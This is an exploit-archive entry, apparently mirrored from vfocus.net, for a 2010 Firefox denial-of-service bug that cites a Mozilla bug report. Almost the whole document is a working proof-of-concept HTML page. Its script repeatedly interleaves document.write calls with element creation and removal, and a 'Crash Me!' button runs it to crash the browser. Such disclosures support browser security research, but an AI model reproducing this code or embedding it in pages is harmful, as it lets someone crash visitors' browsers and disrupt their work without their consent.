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Firefox Interleaving document.write and appendChild Denial of Service
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来源：vfocus.net 作者：Veditz 发布时间：2010-10-29
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Source: https://bugzilla.mozilla.org/show_bug.cgi?id=607222
<html><body>
<script>
function getatts(str){
var cobj=document.createElement(str);
cobj.id="testcase";
document.body.appendChild(cobj);
var obj=document.getElementById("testcase");
var atts = new Array();
for(p in obj){
if(typeof(obj[p])=="string"){
atts.push(p);
}
}
document.body.removeChild(cobj);
return atts;
}
function crashme() {
var tags = new Array("audio", "a", "base");
for (inx = 0; inx < 0x8964; inx++) {
for (i = 0; i < tags.length; i++) {
var atts = getatts(tags[i]);
for (j = 0; j < atts.length; j++) {
var html = "<" + tags[i] + " " + atts[j] + "=a></" + tags[i] +
">" + tags[i];
document.write(html);
}
}
}
}
</script>
<button onclick="crashme();">Crash Me!</button>
</body></html>
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